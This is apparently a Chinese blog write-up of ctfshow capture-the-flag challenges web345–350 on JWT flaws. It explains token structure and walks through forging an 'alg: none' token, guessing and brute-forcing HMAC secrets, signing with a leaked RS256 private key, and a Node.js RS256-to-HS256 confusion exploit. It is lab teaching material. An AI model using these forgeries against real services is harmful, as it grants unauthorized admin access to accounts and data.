JWT漏洞(ctfshow345-350)

jwt(JSON Web Token)

reference:https://xz.aliyun.com/t/2338

jwt相关

概念

JSON Web Token (JWT) 是一种开放标准 (RFC 7519),它定义了一种紧凑且自包含的方式,用于在各方之间作为 JSON 对象安全地传输信息。该信息可以被验证和信任,因为它是经过数字签名的。JWT 可以使用密钥(使用 HMAC 算法)或使用 RSA 的公钥/私钥对进行签名。

JWT主要分为三部分

头部(Header): 存放Token类型和加密的方法

载荷(Payload): 主要包含一些用户身份信息.

签名(Signature): 签名是将前面的Header,Payload信息以及一个密钥组合起来并使用Header中的算法进行加密

拿jwt.io网站的例子来说

Encoded

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

HEADER:

{
  "alg": "HS256",
  "typ": "JWT"
}

PAYLOAD:

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

VERIFY SIGNATURE

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  
) secret base64 encoded
漏洞原因

当用户登录某一页面是,服务端会把一段加密的数据返回,相当于代替cookie作用,当下一次打开此登录页面时,客户端会将这一段自动发送给服务器端,服务器端根据收到的这一段数据,返回不同的页面,基本功能与cookie类似

jwt由于加密的特殊性可能会造成越权登录,越权修改等危害

漏洞存在地方

(1)Header部分

是否可以删除签名

是否支持修改算法为none/对称加密算法

插入错误信息

jwk元素是否可信

kid字段是否有SQL注入/命令注入/目录遍历

是否强制使用白名单上的加密算法

(2)Payload部分

其中是否存在敏感信息检查过期策略

(3)Signature部分

签名密钥是否可以爆破

检查是否强制检查

是否可以通过其他方式拿到密钥

自身存在脆弱性的算法

签名方法之间是否存在冲突

(4)其他的一些常规手法

重放

通过匹配校验的时间做时间攻击

修改算法非对称算法为对称算法(如修改RS256为HS256)

弱密钥破解

不安全的配置所导致的敏感信息泄露(如在报错信息中泄露签名)

web345

打开源代码后显示

在这里插入图片描述
进入到admin后,看到auth以及他的值
在这里插入图片描述
base解密出来
在这里插入图片描述

或者打开jwt.io解密
在这里插入图片描述

把user权限改成admin权限,再base加密回去加载,访问admin就可以得到flag

{"alg":"None","typ":"jwtIn0.[{"iss":"admin","iat":1688866617,"exp":1688873817,"nbf":1688866617,"sub":"admin","jti":"d8f4000181de70f65bb59b95efced45c"fV0

在这里插入图片描述

web346-347

和上一题一样先拿到jwt然后去jwt.io解密,这道题有两种,第一种是相当于密钥弱口令。这里盲猜123456,然后把user改成admin,用修改后的jwt加载进入,访问admin目录就可以了
在这里插入图片描述

web348

就是爆破密钥

GitHub - brendan-rius/c-jwt-cracker:用 C 编写的 JWT 蛮力破解器

下载后构建docker镜像

docker build . -t jwtcrack

docker上运行

docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4ODg3MDU2MywiZXhwIjoxNjg4ODc3NzYzLCJuYmYiOjE2ODg4NzA1NjMsInN1YiI6InVzZXIiLCJqdGkiOiI3N2M4OWQxMjljZDE4OTk2YjhjZmQ5ZWQ4NjM4YWY4MiJ9.-8njAR-werKAxcHX-nqmhRq2DxD1ATgfIAUqtosi4l0

在这里插入图片描述

得到密钥,然后user改成admin,密钥aaab,得到jwt载入,访问admin得到flag

在这里插入图片描述

web349

给了一个app,js发现非对称加密算法RS256泄漏私钥

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});
import jwt

with open('C:\\Users\\baiyu\\Desktop\\python源码\\jwt\\private.key', 'r') as file:
    private = file.read()

header = {
    "alg": "RS256",
    "typ": "JWT"
}

payload = {
    "user": "admin",
    "iat": 1667825552
}

token = jwt.encode(
    payload=payload,
    key=private,
    algorithm="RS256",
    headers=header
)

print(token)
//eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2Njc4MjU1NTJ9.cbDuQksuw8UtIc20AzI01Gvapb3BQTMyBHVeicuI09KCRStj1Ip2Wl1hQdMUQfIZhpW1h3AXlEzKXb18leQS_7cITymYi6Ny_NDZ3hMrUr9dwiXdHGlsdQynhZvBUeKmviQu2brsF61Uaq02i5ZHZhV80hXCLC9bRpH8OI9n3jo

根据源码提示,POST提交,然后把脚本的jwtshur
在这里插入图片描述

web350

访问/public.key获得公钥

HS256算法使用密钥为所有消息进行签名和验证。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

因为这里获得了公钥,所以我们可以将算法由RS256改为HS256,直接利用公钥进行加密和解密,不再需要私钥。

可以在这个网站在线运行https://lightly.teamcode.com

EXP

var jwt = require('jsonwebtoken');

var fs = require('fs');

var privateKey = fs.readFileSync('./public.key');

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });

console.log(token)
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值